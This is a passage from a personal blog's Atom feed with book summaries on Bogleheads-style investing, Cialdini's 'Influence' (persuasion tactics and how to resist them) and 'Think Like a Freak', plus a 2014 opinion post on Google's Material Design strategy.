<a href="/finance/finance-101-type-of-money-holding-accounts/">Finance 101</a>)</li>
<li>Always buy mutual funds after their distribution date.</li>
<li>Sell profitable shares after year-end to delay tax payments for a year.</li>
</ol>
<h2 id="diversification">Diversification</h2>
<ol>
<li>Diversification reduces the risk of being over-exposed to certain sectors; the best diversification is to hold the entire market.</li>
</ol>
<h2 id="performance-chasing-and-market-timing">Performance chasing and market timing</h2>
<ol>
<li>Best performers of the past did not correlate with best performers of the future, the worst performance in the past though have some correlation with bad performance in the future.</li>
<li>Time and again, public contests held for timing the market have shown that no one can time the stock market, all those &ldquo;Three stocks to own now&rdquo; are pure bull-shit.</li>
<li>Predicting interest rates to time the bond market is equally harder.</li>
<li>&ldquo;Inactivity strikes us as intelligent behavior&rdquo; - Warren Buffett</li>
</ol>
<h2 id="investing-for-college">Investing for college</h2>
<ol>
<li>UTMA/UGMA are bad accounts since the child can do anything with them once they turn 18.</li>
<li>Saving Bond, I or EE, are good since their earnings are tax-free if used for educational purposes.</li>
<li>  
    
    
<a href="https://www.bogleheads.org/wiki/Coverdell_Education_Savings_Accounts?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Coverdell ESA</a> has an annual contribution limit of 2000$ after-tax contribution and tax-free growth, if used for educational purposes, can be contributed only till the child is not 18 and must be used before the child turns 30 or can be transferred to another child after that.</li>
<li>  
    
    
<a href="https://www.bogleheads.org/wiki/529_plans?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">529 plans</a> allow much more substantial contributions, five times the annual gift tax limit once every five years) the growth is tax-deferred and withdrawals tax-free if used for educational purposes. There is a 529 prepaid tuition plan as well which allows one to pay tuition at the current rate for a state college/university.</li>
</ol>
<h2 id="managing-a-windfall">Managing a windfall</h2>
<ol>
<li>Inheritance, real estate sale, lottery are difficult to control; the first step one should take is to deposit it somewhere and leave it for six months, then make a wish list of short, intermediate and long-term goals and get professional help to manage it.</li>
</ol>
<h2 id="financial-advisor">Financial advisor</h2>
<ol>
<li>If you are planning to have one, go for one with CFA/CFP title, go for fee-only advisors (not fee-based or anything else) since they are paid by no one except you.</li>
<li>One time fee or hourly rate is another good arrangement.</li>
</ol>
<h2 id="rebalance">Rebalance</h2>
<ol>
<li>As asset allocation goes out of the assigned limits,   
    
    
<a href="https://www.bogleheads.org/wiki/Rebalancing?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">rebalance</a>.</li>
<li>Rebalancing can be time-based, for example, once every   
    
    
<a href="https://www.morningstar.co.uk/uk/news/65356/investing-classroom-rebalancing-your-portfolio.aspx?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">18 months</a> or event-based, for example, if portfolio diverts by more than 5% than rebalance.</li>
</ol>
<h2 id="tune-out-the-noise">Tune out the noise</h2>
<ol>
<li>All forecasting and &ldquo;get rich quick schemes&rdquo; are noise.</li>
</ol>
<h2 id="behavioral-economics">Behavioral economics</h2>
<ol>
<li>Recency bias - If the market has done poorly in the past year, we believe the same for the next year.</li>
<li>Overconfidence - 70% of the Americans believe they are above average. The same gets reflected in decisions about investing.</li>
<li>Loss aversion - we feel the pain of the loss of 100$ twice as much as we feel the gain of 100$.</li>
<li>Paralysis by analysis - too many choices of funds to invest in confuses us.</li>
<li>Endowment effect - Feeling safer and overrating what we already own.</li>
<li>Following the herd - It makes us feel safe to buy what everyone else is buying.</li>
<li>Mental accounting - Its the habit of treating money coming from different sources as different.</li>
<li>Anchoring - Holding onto investments which have badly lost its value and might never recover just because we are anchored to its past price.</li>
<li>Financial negligence - Being preoccupied with other things in life is no reason to ignore finances.</li>
</ol>
<h2 id="spending-during-retirement">Spending during retirement</h2>
<ol>
<li>Better underspend than overspend and run out of money in retirement.</li>
<li>Keep fixed living expenses as low as possible.</li>
<li>Have a viable way to earn income, if needed.</li>
<li>Don&rsquo;t take social security paychecks till the age of 70.</li>
<li>The annuity could be useful for people older than 75.</li>
<li>A safe withdrawal rate is 4% of the initial value (or 5% of the current value of the portfolio)</li>
</ol>
<h2 id="insurance">Insurance</h2>
<ol>
<li>Disability insurance is more important than life insurance.</li>
<li>Buy insurance if downsides are huge even is chances are low, e.g., flood insurance.</li>
<li>Buying insurance for narrow things like specific diseases is a bad idea.</li>
<li>The cheapest insurance is always self-insurance.</li>
<li>Carry largest affordable deductible.</li>
<li>Cash-value insurance like universal insurance is a bad idea since it mixes insurance and investing, its best to keep the two separate.</li>
<li>Rather than life insurance prefer buying term insurance.</li>
<li>If your employer offers, consider   
    
    
<a href="https://en.wikipedia.org/wiki/High-deductible_health_plan?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">HDHP</a> for health insurance.</li>
<li>Illness and medical bills cause 50% bankruptcies.</li>
<li>An umbrella policy of $1 million is a good idea to deal with potential litigations.</li>
<li>If over 50, give serious consideration to buying long-term care before turning 60 since 60% population will require nursing home stays.</li>
</ol>
<h2 id="inheritance">Inheritance</h2>
<ol>
<li>Currently, up to $5 million is tax-exempted from inheritance.</li>
<li>Will takes care of passing on the assets else they will be stuck in probate which can be lengthy and expensive.</li>
<li>A living trust makes the process much smoother. Transfer assets to trust, make yourself and your spouse cotrustee and children successor trustee.</li>
<li>Power of attorney for finances and health care is a good idea as well - they become active only if the person is incapacitated and unable to make decisions. for oneself.</li>
<li>  
    
    
<a href="https://en.wikipedia.org/wiki/Charitable_trust?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Charitable Trust</a> is another option for donation to charities with better tax treatment.</li>
</ol>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/personal-finance" term="personal-finance" label="personal-finance"/></entry><entry><title type="html">Influence: The Psychology of Persuasion by Robert B. Cialdini</title><link href="https://ashishb.net/book-summary/influence-the-psychology-of-persuasion/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/fooled-by-randomness/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Fooled by Randomness by Nassim Nicholas Taleb"/><link href="https://ashishb.net/book-summary/the-science-of-happily-ever-after/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: The science of happily ever after by T Y Tashiro"/><link href="https://ashishb.net/finance/why-kbb-overprices-cars/?utm_source=atom_feed" rel="related" type="text/html" title="Why KBB overprices cars"/><link href="https://ashishb.net/book-summary/bogleheads-guide-to-investing/?utm_source=atom_feed" rel="related" type="text/html" title="Book summary: Bogleheads guide to investing"/><link href="https://ashishb.net/book-summary/think-like-a-freak/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Think like a freak by Steven Levitt and Stephen Dubner"/><id>https://ashishb.net/book-summary/influence-the-psychology-of-persuasion/</id><author><name>Ashish Bhatia</name></author><published>2014-12-07T08:33:49+00:00</published><updated>2014-12-07T08:33:49+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how psychological tactics influence your decisions in surprising ways. Learn the six &ldquo;weapons of influence&rdquo; used by salespeople, waiters, and more.</blockquote><p>The   
    
    
<a href="https://amzn.to/1G3Ls6w?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> talks about various psychological tactics used by compliance practitioners like salespeople, waiters, car dealers, and fundraisers to influence us into saying yes to something to which ideally we would have said no.
The author went and took sales jobs as a car salesman and waiter to see these tactics in action.
He referred to these tactics as six weapons of influence. Each of them forms the basis of a chapter in the book.</p>
<h2 id="weapons-of-influence">Weapons of influence</h2>
<p>Weapons of influence consist of identifying fixed action patterns and exploiting them. Compliance practitioners use them as a basis for influence.</p>
<h3 id="fixed-action-patterns">Fixed action patterns</h3>
<p>Mother turkey looks for &ldquo;cheep-cheep&rdquo; sounds to recognize babies. Anything making that sound, including a stuffed look-alike of the enemy polecat, gets motherly treatment. A child look-alike not producing that sound will be treated with suspicion and sometimes even killed.
These automatic fixed-pattern actions work well most of the time. These actions usually work to our advantage and simplify our lives, but the same trigger features can be used for duping us. For example, with humans, just adding the word &ldquo;because&rdquo; to a request increases the chance of the request being accepted (   
    
    
<a href="https://lifehacker.com/5824481/how-to-convince-people-to-let-you-cut-in-line?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">source</a>). These fixed-pattern actions are pretty prevalent in humans since, in many cases, they are the most efficient form of behavior, and in some cases, they are necessary. Such patterns reduce brain strain by allowing us to act without thinking in every situation.
More examples of fixed action patterns in action,</p>
<ol>
<li>Mailed out coupons providing no savings (due to printing errors) produced the same customer response as one containing the discounts.</li>
<li>Photuris females mimic the mating signal of Photinus females to attract and eat their prey (Photinus males).</li>
<li>Two brothers were running a tailor shop, one would say a higher price (42$) while the other would pretend to mishear it (22$), and the customer would rush to buy it for 24$ before the second brother would realize the apparent mistake.</li>
</ol>
<h3 id="contrast-principle">Contrast principle</h3>
<p>Humans perceive things which are presented one after the other differently than those shown in isolation.</p>
<ol>
<li>The act of showing an inexpensive product before an expensive one causes the latter to look even more costly. Cloth sellers will try to make the buyer buy the most expensive item on their list first.</li>
<li>Real estate companies have   
    
    
<a href="https://articles.latimes.com/2012/jun/17/business/la-fi-harney-20120617?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">set up properties</a> that are expensive or run-down properties. They lower customers&rsquo; expectations so that, later on, when they see an actual house, they like it.</li>
<li>Automobile dealers negotiate a new car&rsquo;s price first before suggesting add-ons.</li>
</ol>
<h2 id="reciprocation-rule-1">Reciprocation (rule 1)</h2>
<p>Rule - we should try to repay in kind, what another person has provided us.
There is a general distaste for those who make no effort to reciprocate. We will often go to great lengths to avoid being seen as one of them. This rule is so overpowering that even if we don&rsquo;t like someone, we can end up complying with their request. Thus, we end up reciprocating their earlier favor, solicited or otherwise, to us.</p>
<p>Some examples,</p>
<ol>
<li>Hare Krishna society members would forcefully give a flower to a passerby before asking for donations.</li>
<li>Lyndon Johnson was able to get a lot of bills passed by calling in on favors, which he had provided earlier to other elected representatives. Jimmy Carter failed because he had no such favors to call on.</li>
<li>Even a free sample can engage a person in a reciprocity rule. Most people find it difficult to leave without buying anything after trying a free sample.</li>
<li>Amway agents give BUG, a free collection of products to potential customers to try for a few days. Customers who have used the product find it difficult not to buy it later.</li>
<li>In World War I, a German soldier crossed the no man&rsquo;s land to capture an enemy soldier. He came across an unsuspecting enemy soldier eating, who offered his bread to him. This act forced the German soldier to return without capturing him.</li>
</ol>
<p>The rule forces uninvited debt. We are expected to reciprocate for actions provided to us by others irrespective of whether we have asked for them or not.</p>
<ol>
<li>American Veterans society increased its response rate from 18% to 35% by adding an unsolicited gift.</li>
<li>A woman allowing a man to buy her drinks (willingly or unwillingly) is judged sexually more available (by both men and women) to that man.</li>
</ol>
<h3 id="reciprocal-concession">Reciprocal concession</h3>
<p>One way to increase the chances of a request being accepted is to make a larger one that will most likely be turned down first. After the refusal, make a second request as a concession. The first request mustn&rsquo;t be extreme enough to be considered unreasonable.</p>
<ol>
<li>  
    
    
<a href="https://en.wikipedia.org/wiki/Watergate_burglaries?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Watergate burglary</a> looks like a ridiculous idea to outsiders. It happened because   
    
    
<a href="https://en.wikipedia.org/wiki/G._Gordon_Liddy?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">G. Gordon Liddy</a> made three different proposals in succession. Each being a concession to the previous. His last one got accepted because the committee wanted to send him away with something.</li>
<li>If there is an expensive and a cheap model of a product, it&rsquo;s better to advertise the expensive one first — the act of selling down works better than selling up.</li>
</ol>
<p>We feel more responsible and satisfied after agreeing to a concession. We think we have brought that change.</p>
<h3 id="how-to-say-no-to-reciprocation">How to say no to reciprocation</h3>
<p>It&rsquo;s essential to identify that we are being pulled into reciprocation for commercial reasons. The act of mental redefinition, in that case, will tell us to avoid reciprocating when the original action had a commercial intent.</p>
<h2 id="commitment-and-consistency-rule-2">Commitment and consistency (rule 2)</h2>
<p>After making a choice or taking a stand, personal and interpersonal pressures force us to behave consistently with it. Our culture values good personal consistency. Stubborn consistency also allows us to avoid thinking. Once we have made up our minds, we don&rsquo;t have to think about it again.</p>
<ol>
<li>People soliciting charity over the phone first ask, &ldquo;How are you doing?&rdquo;. Once someone has publicly asserted that they are doing fine, it&rsquo;s inconsistent and awkward to appear stingy later when asked for a donation.</li>
<li>During the Korean War, Chinese communists would ask US PoWs for writing relatively innocent statements such as &ldquo;US is not perfect&rdquo; or &ldquo;unemployment is not an issue in a communist country.&rdquo;  Once they had made remarks along those lines, they got asked for more. To stay consistent, many went to the extent of becoming a collaborator.</li>
</ol>
<p>Agreeing to small requests may appear inconsequential in the beginning. But altering someone&rsquo;s self-image makes them even more exploitable. Even when people knew that someone was required to write an article in favor of an issue, they assume that the writer is pro-issue. Fraternity houses exploit another extreme form of commitment. A person has to go through a lot of pain before attaining their membership. They end up valuing it more often than someone who achieves it with a small effort. We are more consistent in our commitment if we believe that we did it for our purpose rather than external pressure. Even an external reward counts as external pressure. Thus, it&rsquo;s a bad idea to bribe children since they will never realize that their inner voice wants it.</p>
<h3 id="how-to-say-no-while-not-appearing-inconsistent">How to say no while not appearing inconsistent</h3>
<p>Ask yourself, &ldquo;Would I make the same choice again?&rdquo; (had it not been for what I have said or what has been extracted out of me by the compliance practitioner in the near past).
If the answer is no, then don&rsquo;t confabulate the reason for saying yes, say no and move on.</p>
<h2 id="social-proof-rule-3">Social proof (rule 3)</h2>
<p>Rule - We view a behavior as more correct in a given situation to the degree that we see others performing it.
The more the number of people doing it, the more the rule works into making us believe that the behavior is correct.
We use behavior of people (like us) to determine proper behavior for ourselves.</p>
<ol>
<li>Canned laughter (laughing track) causes viewers to laugh longer and more often. It is more effective in poor jokes.</li>
<li>Bartenders seed their tip jars with a few dollars to give the impression that tipping is the norm.</li>
<li>The massacre of   
    
    
<a href="https://en.wikipedia.org/wiki/Jonestown?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Jonestown</a> - people, followed each other to drink poison and committed mass suicide. They were in a new place, and they just followed what fellow members (like them) did.</li>
<li>Kids learn more about their capabilities from other children than from adults.</li>
<li>Werther effect - a front-page suicide story leads to 58 more unusual suicides in the following month. Airline crashes are more deadly in that time frame as well.</li>
</ol>
<p>The devastating version of this is &ldquo;pluralistic ignorance effect&rdquo;, wherein a group of strangers, no one reacts to the situation. If you fall in a situation where you need help, then to avoid this effect, pick out a person from the group and assign a task to that individual.</p>
<h3 id="how-to-say-no-to-fake-social-proof">How to say no to fake social proof</h3>
<p>Recognize when the social proof is deliberately faked (e.g., canned laughter). Recognize where social proof is a snowball. A snowball is when no one knows anything, and everyone believes that everyone else knows something which they don&rsquo;t. In both of these cases, stop following the crowd. The social proof autopilot is good in most cases, but you should control it from time to time.</p>
<h2 id="liking-rule-4">Liking (rule 4)</h2>
<p>What causes liking?</p>
<ol>
<li><strong>Physical attractiveness</strong> - a halo effect occurs when a particular positive characteristic of a person dominates how others view that person. Physical attractiveness is often such a characteristic. Further, we don&rsquo;t even recognize that we are basing our decision on someone&rsquo;s looks. Studies have shown that handsome men have received lighter prison sentences. Attractive people have an easier time persuading others. The only time it works against them is when others see them as a direct competitor. That usually happens in a romantic context. Adults view aggressive acts as naughty by attractive kids. Teachers think attractive kids are more intelligent than unattractive ones.</li>
<li><strong>Similarity</strong> - We like people who are like us. Car salesman looks for cues of things like golf to relate and show themselves similar to the customer. Since we grew up looking ourselves in the mirror, we prefer reverse image (left and right switched) of our face. Our friends prefer our actual image.</li>
<li><strong>Compliments</strong> - We are phenomenal suckers of flattery. Positive comments produce just as much liking for flatterer when they are untrue as when they are true.</li>
<li><strong>Contact and cooperation</strong> - Familiarity with someone (based on last name, appearance, etc.) plays a role in our decision making. Familiarity produced by being in contact with someone produces greater liking. The reverse happens if the experience is competitive or distasteful.</li>
<li><strong>Conditioning and association</strong> - Someone who is in a role to regularly provides negative news gets a negative connotation and vice versa. People do assume that we have the same personality traits as our friends. Men who saw a car with an attractive young model rated it as better. They, even, later refused that the model had any effect on their judgment. Thus, an advertiser needs to establish a positive connection. The connection does not have to be logical.   
    
    
<a href="https://changingminds.org/techniques/general/more_methods/luncheon_technique.htm?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Luncheon technique</a> works because while eating, people become fonder of the people and things that they experience. We purposefully manipulate the visibility of our connections with winners and losers. If our team wins then, &ldquo;we won&rdquo;, if our team loses, then, &ldquo;they lost&rdquo;. When our public image is damaged, we try to repair it by showing our ties to successful others and avoiding unsuccessful others. These traits are more visible in people with poor self-concept. Some people strive to inflate their connection to people who succeeded while some try to boost the success of their connections.</li>
</ol>
<p>Some more examples,</p>
<ol>
<li>The strength of a social bond is twice as likely to produce a product sale then the preference for the product itself. That&rsquo;s what works for Tupperware.</li>
<li>  
    
    
<a href="https://en.wikipedia.org/wiki/Joe_Girard?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Joe Girard</a> used the liking rule to sell cars and became a Guinness record holder.</li>
</ol>
<h3 id="how-to-say-no-to-liking-trap">How to say no to liking trap</h3>
<p>Keep your feelings for the requester and the request separate. If you like the requester, do not automatically like the request.</p>
<h2 id="authority-rule-5">Authority (rule 5)</h2>
<p>We obey authorities mindlessly in a lot of cases. We usually see an order from an authority in isolation instead of seeing the situation as a whole.</p>
<p>We are as vulnerable to symbols of authority as to its substance.</p>
<ol>
<li>Titles - someone being introduced as a professor is seen taller by students than someone being introduced as a graduate student.</li>
<li>Clothes and other outward appearances - Motorists wait much longer before honking on a new luxury car than an old car. And people, when asked about it, underestimate that effect.</li>
</ol>
<h3 id="how-to-say-no-to-falling-for-an-authority">How to say no to falling for an authority</h3>
<p>Ask yourself, &ldquo;is this authority truly an expert?&rdquo;. Think about what does this expert stands to gain by my compliance. An expert has a higher chance of swaying us if we think he is impartial.</p>
<h2 id="scarcity-rule-6">Scarcity (rule 6)</h2>
<p>The thought of losing something motivates us more than the idea of gaining something of similar value. We believe that things that are difficult to own are usually better than things that are easy to hold. Thus, the scarcity of an item indicates that the item should be better. As opportunities become less available, we lose freedom. And we hate to lose the freedom we already have. Freedom, once granted, will not be relinquished without a fight. When KGB tried to take back freedoms granted to Soviet citizens by Gorbachev, people retaliated.</p>
<p>Some more examples:</p>
<ol>
<li>Young boys run for toys behind obstructions than the one lying in front of them.</li>
<li>Parental interference in a romantic relation causes the partners to view each other more critically. They also report a greater number of negative behaviors. But it also leads to greater love and desire for marriage.</li>
<li>We value banned information as more valuable. To popularize certain views, it&rsquo;s better to get them censored and then publicize the censorship.</li>
<li>Revolutions happen more often when there are periods of improvement in economic and social conditions followed by a sharp reversal of the same (&ldquo;contrasting principle&rdquo;)</li>
<li>Parents who enforce discipline inconsistently produce rebellious children. They allow leeway on occasions and then take it back.</li>
<li>The passion of an indifferent lover surges when a rival comes in.</li>
<li>Scarcity and rivalry together are way stronger than scarcity. ABC lost $2 million by bidding $3.3 million for a single showing of The Poseidon Adventure. It happened because of scarcity created by bidding between rivals ABC, CBS, and NBC.</li>
</ol>
<h3 id="how-to-say-no-to-scarcity-trap">How to say no to scarcity trap</h3>
<p>The real enjoyment is in experiencing something than just possessing it. The scarcity pushes us into buying things just for the sake of owning them. Think about whether you are going after something because it is scarce or because it is useful.</p>
]]></content><category scheme="https://ashishb.net/category/book-summaries" term="book-summaries" label="book-summaries"/><category scheme="https://ashishb.net/tag/psychology" term="psychology" label="psychology"/></entry><entry><title type="html">"Material design" and Google's strategy</title><link href="https://ashishb.net/tech/material-design-and-google-strategy/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/tech/nokia-working-on-android-phone/?utm_source=atom_feed" rel="related" type="text/html" title="Why Nokia's (rumored) Android phone is doomed"/><link href="https://ashishb.net/tech/intel-server-market/?utm_source=atom_feed" rel="related" type="text/html" title="Intel will lose server market even faster than consumer"/><link href="https://ashishb.net/tech/google-vs-perplexity/?utm_source=atom_feed" rel="related" type="text/html" title="Google Search is losing to Perplexity"/><link href="https://ashishb.net/book-summary/in-the-plex/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: In the Plex by Steven Levy"/><link href="https://ashishb.net/tech/random-thoughts-on-bitcoin-part-2/?utm_source=atom_feed" rel="related" type="text/html" title="Thoughts on Bitcoin (part 2)"/><id>https://ashishb.net/tech/material-design-and-google-strategy/</id><author><name>Ashish Bhatia</name></author><published>2014-11-12T07:46:57+00:00</published><updated>2014-11-12T07:46:57+00:00</updated><content type="html"><![CDATA[<blockquote>Discover how Google&rsquo;s Android and Material Design are reshaping the tech landscape, challenging Apple&rsquo;s market position, and influencing global user experience design.</blockquote><h2 id="android">Android</h2>
<p>Before 2008, smartphones OS market was fragmented.
There were a few big names like Palm and Symbian, but most phone manufacturers were doing their custom operating systems. For example, Motorola alone had   
    
    
<a href="https://9to5google.com/2014/08/28/in-depth-profile-of-motorola-tracks-its-rise-and-fall-and-future/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">five</a> operating systems.
In 2008, Google came out with an   
    
    
<a href="https://www.android.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">open-source</a> smartphone OS.
Mobile phone manufacturers like Samsung, Motorola, and HTC, embraced it and made short-term profits till they   
    
    
<a href="https://online.wsj.com/articles/htc-predicts-continued-decline-in-sales-from-smartphone-market-competition-1406794428?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">got</a>   
    
    
<a href="https://ben-evans.com/benedictevans/2014/7/10/unbundling-innovation?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">commoditized</a> by a standardized OS   
    
    
<a href="https://news.yahoo.com/google-flexing-muscles-more-control-android-203554545.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">controlled</a> by Google.
On the other hand, Nokia and Blackberry decided to ignore and badly   
    
    
<a href="https://communities-dominate.blogs.com/.a/6a00e0097e337c8833017ee7da0bed970d-pi?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">lost</a>   
    
    
<a href="https://n4bb.com/media/uploads/2012/06/RIM-market-share-shart.jpg?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">market</a> share.
Eventually, they embraced it as well, albeit, in   
    
    
<a href="https://www.gsmarena.com/nokia_x-6067.php?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">different</a>   
    
    
<a href="https://developer.blackberry.com/android/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">forms</a> but it seems its a bit late.
The only winner (till now) is Apple, who was simultaneously working on iPhone and has held its ground well primarily, due to superior UI design and user experience on iOS.</p>
<h2 id="material-design">Material Design</h2>
<p>Till 2014, web design has been fragmented, flat design is popular, but no one controls it.
There are a few big names in web UI development like   
    
    
<a href="https://getbootstrap.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Bootstrap</a>,   
    
    
<a href="https://foundation.zurb.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Foundation</a> but most companies are either using homegrown or open source jQuery libraries/CSS libraries for design.
In 2014, Google came out with   
    
    
<a href="https://www.google.com/design/spec/material-design/introduction.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Material Design</a>, and just like Android, it&rsquo;s being given out for free.
Even Android 5.0 is using the same material design.
While app developers are almost bound to replicate material design for Android apps, the choice of offering the design to web developers is an interesting one.
If a sizable chunk of web developers decide to embrace material design, Google will control look and feel of the web.
If the android apps and websites look similar, then it will only persuade more and more iOS developers to use material design in iOS apps.</p>
<p><strong>The end game is to corner Apple in user experience by producing a design which Apple will be either forced to adopt or create something different and superior</strong>.
As far as others big players are concerned, both embracing and ignoring material design will be an equally lousy proposition.</p>
<p><em>Disclaimer: Thoughts are solely mine.</em> <em>Disclosure: I used to work at Google.</em></p>
]]></content><category scheme="https://ashishb.net/category/tech-thoughts" term="tech-thoughts" label="tech-thoughts"/><category scheme="https://ashishb.net/tag/google" term="google" label="google"/><category scheme="https://ashishb.net/tag/material-design" term="material-design" label="material-design"/></entry><entry><title type="html">Book Summary: Think like a freak by Steven Levitt and Stephen Dubner</title><link href="https://ashishb.net/book-summary/think-like-a-freak/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/book-summary/so-good-they-cant-ignore-you/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: So good they can't ignore you by Cal Newport"/><link href="https://ashishb.net/book-summary/the-innovators-dilemma/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Innovator's Dilemma by Clayton Christensen"/><link href="https://ashishb.net/book-summary/the-education-of-millionaires/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: The Education of Millionaires by Michael Ellsberg"/><link href="https://ashishb.net/book-summary/one-up-on-wall-street/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: One up on Wall Street by Peter Lynch"/><link href="https://ashishb.net/book-summary/thinking-in-bets/?utm_source=atom_feed" rel="related" type="text/html" title="Book Summary: Thinking In Bets by Annie Duke"/><id>https://ashishb.net/book-summary/think-like-a-freak/</id><author><name>Ashish Bhatia</name></author><published>2014-10-27T05:19:30+00:00</published><updated>2014-10-27T05:19:30+00:00</updated><content type="html"><![CDATA[<blockquote>Discover unconventional problem-solving with engaging stories, bold strategies, and insightful analyses. Learn to think like a freak and embrace innovative approaches today!</blockquote><p>The   
    
    
<a href="https://amzn.to/1t7vtOT?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">book</a> is an impressive collection of unusual stories aimed at promoting a non-conventional way of approaching problems and solving them.</p>
<h2 id="what-does-it-mean-to-think-like-a-freak">What does it mean to think like a freak</h2>
<p>Saving one&rsquo;s own reputation takes priority over maximizing common good. For example, during a penalty shootout, a goalkeeper will jump towards either side with 98% probability, so, it&rsquo;s better for the soccer player to kick right into the goalkeeper. But the 2% situation will be embarrassing, the player would be considered lousy for not trying hard enough to kick towards the corner. But if he kicks towards a corner and the keeper catches it, he would be still appreciated for a good attempt. Most players prefer saving their reputation by kicking on sides rather than dead center. The author does mention that other reasons for not kicking straight into the center are that it&rsquo;s counter-intuitive and the keeper will adapt, but he argues that fear of shame for not trying hard enough is the most important one.</p>
<p><strong>Sometimes in life, going straight up in the middle (taking a traditional route) is the boldest option, except the person would be considered lousy for not trying hard.</strong></p>
<p>Married people are happy, not because marriage causes happiness but because happy people are more likely to be married (who would want to marry a grumpy person?).</p>
<h2 id="the-three-hardest-words-in-the-english-language">The three hardest words in The English language</h2>
<p>Smart people/experts suffer from dogmatism and find it difficult to admit that &ldquo;they don&rsquo;t know&rdquo;. In 1998, Krugman   
    
    
<a href="https://web.archive.org/web/19980610100009/www.redherring.com/mag/issue55/economics.html?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">claimed</a>, the Internet&rsquo;s impact on the economy will be no greater than fax machines. Another problem which experts suffer from is ultracrepidarianism, which is the habit of giving advice outside of one&rsquo;s domain. One problem with saying &ldquo;I don&rsquo;t know&rdquo; is that the private cost of that is much higher than making wrong predictions. For example, no one was punished for making the incorrect claim about Iraq&rsquo;s WMD.</p>
<p><strong>Saying &ldquo;I don&rsquo;t know&rdquo; is the equivalent of not playing a game where downsides are minimal.</strong> Very few people go back and point out incorrect predictions, and the upsides are high since the predictor will be celebrated if the prediction is correct. Moral compass just like a real compass can sometimes give incorrect readings, it&rsquo;s important to set it aside from time to time, or else, the moral compass can lead to incorrect solutions/conclusions.</p>
<p>Once admitted, &ldquo;I don&rsquo;t know&rdquo;, the key to learning is experimentation and feedback. Doing experiments would imply that a lack of theoretical understanding which experts do not want to admit. It&rsquo;s important to do experiments in natural settings. Unlike hard sciences, the objects (humans) can behave differently in lab settings. Robin Goldstein did multiple   
    
    
<a href="https://www.wine-economics.org/aawe/wp-content/uploads/2014/08/AAWE_WP165.pdf?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">experiments</a> to prove that more expensive wines do not taste better than the cheaper ones.</p>
<h2 id="whats-your-problem">What&rsquo;s your problem</h2>
<p><strong>It&rsquo;s important to phrase the problem correctly</strong>, the way one tries to find its solution relies heavily on that. If the problem is framed incorrectly, one might end up attacking the noisy part of the problem. Most education reforms try to focus on improving schools while parental influence has been determined to be a stronger factor.</p>
<p>&ldquo;How can I eat more hot dogs?&rdquo; is incorrect phrasing while &ldquo;How can I make hot dogs easier to eat?&rdquo; is better phrasing. Better phrasing leads Kobi, a Japanese guy to figure out that eating dog (by splitting it into two) and bun separately and wetting bun in the water while eating the dog was a successful strategy using which he broke the previous record of 25.125 and made a new record of 50. He figured out these techniques through repeated experimentation and feedback by videotaping his sessions. He also refused to accept the current limit of 25.125  as a real barrier.
<strong>It&rsquo;s important not to limit oneself with artificial barriers.</strong></p>
<h2 id="like-a-bad-dye-job-the-truth-is-in-the-roots">Like a bad dye job, the truth is in the roots</h2>
